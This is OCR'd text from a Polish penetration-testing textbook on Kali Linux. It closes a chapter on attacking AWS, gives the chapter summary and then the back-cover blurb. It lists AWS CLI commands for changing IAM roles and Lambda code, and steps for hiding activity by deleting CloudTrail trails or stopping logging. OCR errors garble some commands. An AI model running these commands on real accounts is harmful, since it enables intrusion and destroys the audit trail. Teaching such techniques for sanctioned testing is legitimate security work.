nazwa_polityki -policydocument file://<Sciezka>/policy.json
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Rozdziat 8. ¢ Wykorzystywanie podatnosci i luk w zabezpieczeniach chmury

Tabela 8.3. Wybrane polecenia uzyteczne podczas przeprowadzania testow (ciag dalszy)

Opis Przyktad polecenia

Dodaje uzytkownika aws jam add-user-to-group --group-name nazwa_grupy

do grupy --user-name nazwa_uzytkownika

Aktualizuje ustawienie  aws iam update-assume-role-policy -role-name nazwa roli -
AssumeRolePol icyDocument policy-document file://<Sciezka>/policy.json

danej roli

Aktualizuje kod aws Tambda update-function-code --function-name
istniejacej funkgji nazwa_funkcji -zip-file fileb://<Sciezka>/

lambda kod_Zrodtowy.zip

Zaciemnianie logow CloudTrail

CloudTrail to ustuga w ramach chmury Amazon, ktéra monitoruje wszelkie dziatania wyko-
nywane przez uzytkownikéw. Zaktadajac, ze udato Ci sie juz uzyskaé wysoko uprzywilejo-
wany dostep do srodowiska celu, mozesz modyfikowaé ustawienia ustugi CloudTrail w nastepujacy
sposdb:
1. Wyswietl informacje o ustawieniach ustugi CloudTrail. Aby to zrobi¢, powinienes
w oknie terminala wykona¢ polecenie sudo aws cloudtrail describe-details -profile
<nazwa profilu>.

2. W zaleznosci od potrzeb mozesz na przyktad wybra¢ usuniecie Sciezek. Aby to zrobié,
wykonaj polecenie sudo aws cloudtrail delete-trail --name cloudgoat trail
--profile <nazwa profilu>.

3. Mozesz réwniez catkowicie zatrzymac logowanie poleceniem sudo aws cloudtrail
stop-logging --name cloudgoat trail --profile <nazwa profilu>. Pamigtaj
jednak, ze wywola to alert w GuardDuty (ustudze wykrywania zagrozen w AWS)
z informacja, ze logi nie sa zapisywane.

W tej sekeji na kilku praktycznych przyktadach oméwilismy kilka waznych aspektow testow
penetracyjnych w chmurze. Pentester powinien zawsze bra¢ pod uwage kazda infrastruk-
ture chmury jako cze$é wewnetrznego lub zewnetrznego zakresu przeprowadzanych testow
penetracyjnych, aby zapewnié, ze cele danego zadania zostang w pelni osiggniete.

Podsumowanie

W tym rozdziale odbylismy szybka wycieczke po réznych typach ustug chmurowych i omé-
wilismy kilka wybranych sposobéw ataku na te ustugi. Dowiedziates sie, jak rozpoznawac i wyko-
rzystywaé niepoprawne konfiguracje zabezpieczen ustug AWS, jak wykorzystywaé podat-
nosci i luki w zabezpieczeniach aplikacji internetowych poprzez logi z load balancera oraz
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Kali Linux i zaawansowane testy penetracyjne

jak poprzez blednie skonfigurowane zasobniki S3 uzyska¢ dostep do wewnetrznych instan-
¢ji EC2. Ponadto poznale$ sposoby wykorzystania przywilejéw instancji do zdobycia da-
nych uwierzytelniajacych baze danych, a takze dowiedziales sie, czym sg ataki typu meta-
data service header injection i jak w ataku SSRF utworzy¢ nowe konto uzytkownika, ktére
w docelowym $rodowisku AWS bedzie odgrywato role backdoora. Na koniec oméwilismy
wybrane polecenia konsoli, ktérych mozna uzyé podczas testéw penetracyjnych ustug AWS.

W nastepnym rozdziale skupimy sie na zagadnieniach zwigzanych z omijaniem systeméw NAC
(ang. Network Access Control), oprogramowania antywirusowego, mechanizméw UAC (ang, User
Account Control) oraz. mechanizméw zabezpieczajacych systemu Windows. Poznasz tam réwniez
nowe zestawy narzedzi, takie jak Veil Framework i Shellter.
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Praca zdalna daje hakerom wiele nowych mozliwosci i okazji do atakow, obecnie bowiem za posred-
nictwem sieci udostepnianych jest znacznie wiecej poufnych informacji niz kiedykolwiek wezesniej. Test
penetracyjny ma za zadanie symulowac taki atak hakera napastnika. Poza skutecznoscig mechanizmow
obronnych testy penetracyjne sprawdzajg skutki fazy powtamaniowej eksploracji skompromitowanego
systemu. A to pozwala na wykazanie ryzyka naruszenia bezpieczenstwa informacji, jezeli nie zostang
podjete adpowiednie dziatania. Do tych wszystkich celow Swietnie nadaje sie Kali— potezna dystrybu-
cja systemu Linux, przeznaczona wtasnie do przeprowadzania testow penetracyjnych, analiz informatyki
Sledczej i inzynierii wstecznej.

Jesli masz juz pewne umiejetnosci pentestera, dzieki tej ksigzce poszerzysz swojg wiedze o Zzaawanso-
wanych narzedziach dostepnych w Kali Linux, a takze nauczysz sie wyrafinowanych taktyk stosowanych
przez prawdziwych hakerow do atakowania sieci komputerowych. Omowiono tu rozne sposoby instalo-
wania i uruchamiania systemu Kali Linux w Srodowisku maszyn wirtualnych i kontenerow. Opisano tez
szereg zadgadnien zwigzanych z pasywnym i aktywnym rozpoznawaniem Srodowiska celu, w tym

Z uzywaniem skanerow podatnosci i modelowaniem zagrozen. Zaprezentowano wiele zaawansowanych
metod prowadzenia atakdw na sieci komputerowe, urzgdzenia loT, systemy wbudowane i urzgdzenia
wykorzystujace potgczenia bezprzewodowe.

Dzieki ksigzce dowiesz sie, jak:
eksplorowac sieci przewodowe i bezprzewodowe, infrastrukture chmury i ustugi internetowe
atakowac i tamac zabezpieczenia wbudowanych urzgdzen peryferyjnych, Bluetooth, RFID i loT
skutecznie unikac wykrycia
uzywac pakietow: Metasploit, PowerShell Empire i CrackMapExec
nastuchiwag ruch sieciowy za pomocg programow bettercap i Wireshark
przeprowadzac ataki przy uzyciu narzedzi: Metasploit, Burp Suite i OWASP ZAP

Vijay Kumar Velu

jest licencjonowanym pentesterem z kilkunastoletnim doswiadczeniem w IT. Specjalizuje sie

w zagadnieniach informatyki sledczej, bezpieczenstwa ofensywnego i reagowania na incydenty
bezpieczenstwa. Posiada wiele certyfikatow bezpieczenstwa, w tym Certified Ethical Hacker, EC-council
Certified Security Analyst i Computer Hacking Forensics Investigator. Jest autorem ksigzek, prelegentem
i blogerem. Mieszka w Londynie.
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